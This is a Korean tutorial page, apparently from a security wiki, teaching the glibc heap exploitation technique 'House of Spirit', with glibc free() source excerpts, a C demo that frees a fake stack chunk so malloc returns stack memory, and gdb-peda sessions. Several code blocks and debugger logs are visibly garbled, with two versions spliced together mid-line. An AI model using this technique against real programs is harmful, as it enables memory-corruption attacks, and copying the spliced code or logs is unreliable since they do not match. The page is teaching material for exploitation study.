...
Excuse the ads! We need some help to keep our site up.
Include Page 00.Notice 00.Notice
List
Table of Contents outline true exclude List
...
House of Spirit
Conditions
- 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
- 공격자에 의해 Allocated Fake chunk(FastBin) 형태를 생성할 수 있어야 합니다.
- 공격자에 의해 해당 영역(Fake chunk)의 주소를 Free() 함수의 인자 값으로 전달할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
- Stack 영역에 Fake chunk(FastBin) 구조를 저장합니다.
- Free()함수의 인자 값으로 Fake chunk의 주소를 전달합니다.
- Fake chunk(FastBin)의 크기와 같은 크기의 Heap영역을 할당 받습니다.
- 이때 할당 받은 영역은 Fake chunk(FastBin) 영역입니다.
Example
Files
Panel |
---|
- _int_free()는 메모리가 해제 된 청크의 포인터가 올바르게 정렬 된 포인터인지 확인하기 위해 misaligned_chunk ()를 요청합니다.
- 청크의 정렬이 올바르지 않으면 프로세스는 "free() : invalid pointer"메시지와 함께 종료됩니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout: |
- _int_free()는 해당 chunk의 "size"에 저장된 값이 MINSIZE 보다 작고 해당 값이 정상적으로 정렬된 값인지 확인합니다.
- 정상적이지 않다면 프로세스는 "free(): invalid size" 메시지와 함께 종료됩니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
} |
- _int_free()는 해당 chunk의 크기가 fastbin에 해당하는지 확인한 후에 다음 chunk의 size에 저장된 값이 다음과 같은 조건에 만족하는지 확인합니다.
- 다음 chunk의 "size"에 저장된 값에서 사용된 flag bit를 모두 제거한 값이 2 * SIZE_SZ 보다 작거나 같은지 확인합니다.
- 그리고 다음 chunk의 "size"에 저장된 값이 av->system_mem의 값보다 크거나 같은지 확인합니다.
- 해당 Arena가 잠겨 있지 않을 경우 av→system_mem에 저장된 값이 거짓일 경우가 있습니다.
- 그렇기 때문에 해당 Arena를 잠금 후에 앞에서 확인한 조건대로 값을 다시 확인합니다.
- 해당 조건이 충족되면 다음 청크의 "size"에 저장된 값이 비정상이므로 "free () : invalid next size (fast)"메시지를 출력되고 프로세스를 종료합니다.
- 위 조건들을 통과하면 해당 chunk는 정상적인 청크이며, 해당 chunk를 fastbin에 저장합니다.
- _int_free()는 전달된 chunk의 포인터가 Stack에 존재하는지 확인하지 않습니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
__libc_lock_lock (av->mutex);
locked = 1;
chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (! have_lock)
{
__libc_lock_unlock (av->mutex);
locked = 0;
}
}
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u; |
- House of Spirit은 stack에 가짜 청크를 쓰고 해당 stack의 주소에서 0x10을 더한 주소로 free()를 호출할 수 있을 경우 구현할 수 있습니다.
- Stack에 Fastbin에 해당하는 Fake chunk를 작성한 후 메모리 할당을 malloc()에 요청 합니다.
- 그리고 Fake chunk의 주소에 0x10를 더한 주소로 free()를 호출하면, 해당 chunk의 포인터가 Fastbin[]에 저장됩니다.
- 해당 chunk의 크기로 malloc()을 호출하면, Fastbin[]에 저장된 Fake chunk의 포인터를 반환합니다.
- 즉, 해당 포인터는 Stack영역의 메모리 입니다.
- 예를 들어 다음과 같이 Fake chunk의 "size"의 값이 0x80이고 다음 chunk의 "size"값이 0x1000인 Fake chunk를 Stack에 작성합니다.
- 크기가 0x3e8(1000)인 메모리 할당을 malloc()에 요청합니다.
- Fake chunk의 포인터(0x7fffffffe3d0)의 해제를 free()에 요청합니다.
- 크기가 0x70인 메모리의 할당을 위해 malloc()을 호출합니다.
- 할당자는 fastbinsY[6]에 저장된 포인터를 재 할당됩니다.
- 반환된 메모리는 Stack영역입니다.
Panel | ||
---|---|---|
| ||
Example
- 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
- Stack에 Fake chunk를 작성한 후 malloc()에 메모리 할당을 요청합니다.
- 그리고 free()에 ptr에 저장되 값에 대해 메모리 해제를 요청합니다.
- 다시 malloc()에 크기가 0x70인 메모리 할당을 요청합니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h> #include <stdlib.h> #include <string.h> void main(){ unsigned long *ptr; char fakeChunk[160 unsigned long fake_chunk[20]; printf( fprintf(stderr,"fakeChunk : %p\n",fakeChunkfake_chunk); printf( fprintf(stderr,"ptr : %p\n",&ptr); scanf("%176s",fakeChunk); fake_chunk[1] = 0x80; fake_chunk[17] = 0x1000; malloc(1000); ptr = fake_chunk + 2; free(ptr); char *stack = malloc(0x70); char *test1 = malloc(0x70); char *test2 = malloc(0x500); printf(fprintf(stderr,"Stack : %p\n",stack); } |
Exploit flow
Panel | ||
---|---|---|
| ||
Debugging
0x4006c0에서 Stack에 작성된 Fake chunk를 확인합니다.
0x4006d8에서는 heap 공간의 생성과 arena의 값을 확인합니다.
0x4006f9에서는 free()에 Fake chunk의 포인터를 전달한 후 fastbins의 변화를 확인합니다.
0x400708에서는 malloc()에서 반환되는 포인터를 확인합니다.
0x40067b - scanf() 함수 호출
0x400691 - free() 함수 호출
0x40069b - malloc() 함수 호출
Code Block | |||
---|---|---|---|
| |||
lazenca0x0@ubuntu:~$ gcc -o house_of_spirit house_of_spirit.c lazenca0x0@ubuntu:~$ gdb -q ./house_of_spirit Reading symbols from ./house_of_spirit...(no debugging symbols found)...done.gdb-peda$ b *0x000000000040067b Breakpoint 1 at 0x40067b gdb-peda$ b *0x0000000000400691 Breakpoint 2 at 0x400691 gdb-peda$ bdisassemble *0x000000000040069bmain BreakpointDump 3of at 0x40069b |
- 아래와 같이 Stack 영역에 값을 입력 할 수 있습니다.
- 입력 값으로 'A' * 160 + 'B' * 8개를 입력했습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/heap/spirit
fakeChunk : 0x7fffffffe1c0
ptr : 0x7fffffffe260
Breakpoint 1, 0x000000000040067b in main ()
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe1e0: 0x0000000000000000 0x00007ffff7ffe520
0x7fffffffe1f0: 0x00007fffffffe220 0x00007fffffffe210
0x7fffffffe200: 0x00000000f63d4e2e 0x0000000000400388
0x7fffffffe210: 0x00000000ffffffff 0x00007fffffffe378
0x7fffffffe220: 0x00007ffff7a211f8 0x00007ffff7ff74c0
0x7fffffffe230: 0x00007ffff7ffe1c8 0x0000000000000000
0x7fffffffe240: 0x0000000000000001 0x000000000040071d
0x7fffffffe250: 0x00007fffffffe280 0x0000000000000000
0x7fffffffe260: 0x00000000004006d0 0x0000000000400540
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB |
- 아래와 같이 스택영역에 임의의 값을 저장할 수 있음을 확인인했습니다.
- gdb의 set 명령어를 이용해 Fake chunk 생성과 ptr영역의 값을 변경 합니다.
Fake chunk 영역(0x7fffffffe1c0 ~ 0x7fffffffe248) : Chunk size - 0x70, Top chunk - 0x1000
- ptr 영역(0x7fffffffe260) : 0x00007fffffffe1d0
- gdb의 set 명령어를 이용해 Fake chunk 생성과 ptr영역의 값을 변경 합니다.
Code Block | ||
---|---|---|
| ||
0x0000000000400680 in main ()
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe200: 0x4141414141414141 0x4141414141414141
0x7fffffffe210: 0x4141414141414141 0x4141414141414141
0x7fffffffe220: 0x4141414141414141 0x4141414141414141
0x7fffffffe230: 0x4141414141414141 0x4141414141414141
0x7fffffffe240: 0x4141414141414141 0x4141414141414141
0x7fffffffe250: 0x4141414141414141 0x4141414141414141
0x7fffffffe260: 0x4242424242424242 0x0000000000400500
gdb-peda$ set *0x7fffffffe1c8 = 0x80
gdb-peda$ set *0x7fffffffe1cc = 0x0
gdb-peda$ set *0x7fffffffe248 = 0x10000
gdb-peda$ set *0x7fffffffe24c = 0x0
gdb-peda$ set *0x7fffffffe260 = 0x7fffffffe1d0
gdb-peda$ set *0x7fffffffe264 = 0x7fff
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0: 0x4141414141414141 0x0000000000000080
0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe200: 0x4141414141414141 0x4141414141414141
0x7fffffffe210: 0x4141414141414141 0x4141414141414141
0x7fffffffe220: 0x4141414141414141 0x4141414141414141
0x7fffffffe230: 0x4141414141414141 0x4141414141414141
0x7fffffffe240: 0x4141414141414141 0x0000000000010000
0x7fffffffe250: 0x4141414141414141 0x4141414141414141
0x7fffffffe260: 0x00007fffffffe1d0 0x0000000000400500
gdb-peda$ |
- 아래와 같이 Fake chunk영역이 해제되어 해당 chunk가 "fastbinsY"에 등록되었습니다.
- "fastbinsY"에 등록된 fake chunk의 크기와 같은 값을 malloc()함수의 인자 값으로 전달 합니다.(malloc(0x70))
- malloc(0x70) 호출에 의해 fake chunk영역을 재할당 받았습니다.
- 그 다음 malloc() 호출해서 할당받은 영역은 정상적으로 Heap 영역에 할당되었습니다.
assembler code for function main:
0x0000000000400666 <+0>: push rbp
0x0000000000400667 <+1>: mov rbp,rsp
0x000000000040066a <+4>: sub rsp,0xc0
0x0000000000400671 <+11>: mov rax,QWORD PTR fs:0x28
0x000000000040067a <+20>: mov QWORD PTR [rbp-0x8],rax
0x000000000040067e <+24>: xor eax,eax
0x0000000000400680 <+26>: mov rax,QWORD PTR [rip+0x2009d9] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400687 <+33>: lea rdx,[rbp-0xb0]
0x000000000040068e <+40>: mov esi,0x4007d4
0x0000000000400693 <+45>: mov rdi,rax
0x0000000000400696 <+48>: mov eax,0x0
0x000000000040069b <+53>: call 0x400540 <fprintf@plt>
0x00000000004006a0 <+58>: mov rax,QWORD PTR [rip+0x2009b9] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006a7 <+65>: lea rdx,[rbp-0xc0]
0x00000000004006ae <+72>: mov esi,0x4007e4
0x00000000004006b3 <+77>: mov rdi,rax
0x00000000004006b6 <+80>: mov eax,0x0
0x00000000004006bb <+85>: call 0x400540 <fprintf@plt>
0x00000000004006c0 <+90>: mov QWORD PTR [rbp-0xa8],0x80
0x00000000004006cb <+101>: mov QWORD PTR [rbp-0x28],0x1000
0x00000000004006d3 <+109>: mov edi,0x3e8
0x00000000004006d8 <+114>: call 0x400550 <malloc@plt>
0x00000000004006dd <+119>: lea rax,[rbp-0xb0]
0x00000000004006e4 <+126>: add rax,0x10
0x00000000004006e8 <+130>: mov QWORD PTR [rbp-0xc0],rax
0x00000000004006ef <+137>: mov rax,QWORD PTR [rbp-0xc0]
0x00000000004006f6 <+144>: mov rdi,rax
0x00000000004006f9 <+147>: call 0x400510 <free@plt>
0x00000000004006fe <+152>: mov edi,0x70
0x0000000000400703 <+157>: call 0x400550 <malloc@plt>
0x0000000000400708 <+162>: mov QWORD PTR [rbp-0xb8],rax
0x000000000040070f <+169>: mov rax,QWORD PTR [rip+0x20094a] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400716 <+176>: mov rdx,QWORD PTR [rbp-0xb8]
0x000000000040071d <+183>: mov esi,0x4007ee
0x0000000000400722 <+188>: mov rdi,rax
0x0000000000400725 <+191>: mov eax,0x0
0x000000000040072a <+196>: call 0x400540 <fprintf@plt>
0x000000000040072f <+201>: nop
0x0000000000400730 <+202>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400734 <+206>: xor rax,QWORD PTR fs:0x28
0x000000000040073d <+215>: je 0x400744 <main+222>
0x000000000040073f <+217>: call 0x400520 <__stack_chk_fail@plt>
0x0000000000400744 <+222>: leave
0x0000000000400745 <+223>: ret
End of assembler dump.
gdb-peda$ b *0x00000000004006c0
Breakpoint 1 at 0x4006c0
gdb-peda$ b *0x00000000004006d8
Breakpoint 2 at 0x4006d8
gdb-peda$ b *0x00000000004006f9
Breakpoint 3 at 0x4006f9
gdb-peda$ b *0x0000000000400708
Breakpoint 4 at 0x400708
gdb-peda$
|
프로그램은 Fake chunk의 크기(0x80)를 QWORD PTR [0x7fffffffe470-0xa8]에 저장하고, 다음 chunk의 크기(0x1000)를 QWORD PTR [0x7fffffffe470-0xa8]에 저장합니다.
- Stack에 Fake chunk가 생성되었습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/house_of_spirit
fakeChunk : 0x7fffffffe3c0
ptr : 0x7fffffffe3b0
Breakpoint 1, 0x00000000004006c0 in main ()
gdb-peda$ x/2i $rip
=> 0x4006c0 <main+90>: mov QWORD PTR [rbp-0xa8],0x80
0x4006cb <main+101>: mov QWORD PTR [rbp-0x28],0x1000
gdb-peda$ i r rbp
rbp 0x7fffffffe470 0x7fffffffe470
gdb-peda$ ni
0x00000000004006cb in main ()
gdb-peda$ ni
0x00000000004006d3 in main ()
gdb-peda$ x/gx 0x7fffffffe470 - 0xa8
0x7fffffffe3c8: 0x0000000000000080
gdb-peda$ x/gx 0x7fffffffe470 - 0x28
0x7fffffffe448: 0x0000000000001000
gdb-peda$ x/20gx 0x7fffffffe3c8 - 0x8
0x7fffffffe3c0: 0x0000000000000000 0x0000000000000080
0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3f0: 0x00007fffffffe568 0x0000000000000000
0x7fffffffe400: 0x0000000000000001 0x00007fffffffe568
0x7fffffffe410: 0x0000000000000001 0x00007fffffffe490
0x7fffffffe420: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffe430: 0x0000000000000001 0x000000000040079d
0x7fffffffe440: 0x00007fffffffe46e 0x0000000000001000
0x7fffffffe450: 0x0000000000400750 0x0000000000400570
gdb-peda$ |
- malloc()에 메모리 할당을 요청하기 전에는 Heap 공간에 생성되지 않았기 때문에 Arena에 최소한의 정보만 가지고 있습니다.
- malloc()이 메모리를 할당한 후에는 Heap 공간에 생성되어 flags, bins, system_mem, max_system_mem, 등에 값들이 초기화 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004006d8 | ||
Code Block | ||
| ||
Breakpoint 2, 0x0000000000400691 in main () gdb-peda$ ip rmain_arena rdi rdi$1 = { mutex = 0x0, flags = 0x0, 0x7fffffffe1d0 0x7fffffffe1d0 gdb-peda$ p main_arena.fastbinsY $3fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = {0x0, last_remainder = 0x0, bins = {0x0 <repeats 254 times>}, binmap = {0x0, 0x0, 0x0, 0x0}, next = 0x7ffff7dd1b20 <main_arena>, next_free = 0x0, attached_threads = 0x1, system_mem = 0x0, max_system_mem = 0x0 } gdb-peda$ p &main_arena $2 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena> gdb-peda$ ni 0x00000000004006960x00000000004006dd in main () gdb-peda$ p main_arena.fastbinsY $4 $3 = { mutex = 0x0, flags = 0x1, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe1c00x0, 0x0, 0x0, 0x0}, top = 0x6023f0, last_remainder = 0x0, bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, ... 0x7ffff7dd21a8 <main_arena+1672>, 0x7ffff7dd21a8 <main_arena+1672>...}, binmap = {0x0, 0x0, 0x0, 0x0}, next = 0x7ffff7dd1b20 <main_arena>, next_free = 0x0, attached_threads = 0x1, system_mem = 0x21000, max_system_mem = 0x21000 } gdb-peda$ |
- free()에 Fake chunk의 포인터(0x7fffffffe3d0)를 전달하여, 메모리를 해제하면 해당 chunk의 포인터는 fastbinsY[6]에 배치됩니다.
- 해당 chunk를 재할당 받기위해 malloc()에 크기가 0x70인 메모리 할당을 요청하면, fastbinsY[6]에 배치된 chunk를 재할당하여 포인터(0x7fffffffe3d0)를 반환합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040069b0x00000000004006f9 in main () gdb-peda$ ni 0x00000000004006a0 in main ()x/i $rip => 0x4006f9 <main+147>: call 0x400510 <free@plt> gdb-peda$ i r raxrdi raxrdi 0x7fffffffe1d00x7fffffffe3d0 0x7fffffffe1d00x7fffffffe3d0 gdb-peda$ x/16gx 0x7fffffffe1d0 0x7fffffffe1d0: 0x0000000000000000 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x0000000000010000 p main_arena->fastbinsY[6] $4 = (mfastbinptr) 0x0 gdb-peda$ ni 0x00000000004006fe in main () gdb-peda$ p main_arena.fastbinsY $2->fastbinsY[6] $5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}(mfastbinptr) 0x7fffffffe3c0 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400708 in main () gdb-peda$ ni ... gdb-peda$ i r rax rax 0x602400 0x6024000x7fffffffe3d0 0x7fffffffe3d0 gdb-peda$ c Continuing. Stack : 0x7fffffffe3d0 [Inferior 1 (process 21008) exited normally] Warning: not running gdb-peda$ |
Related information
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/
...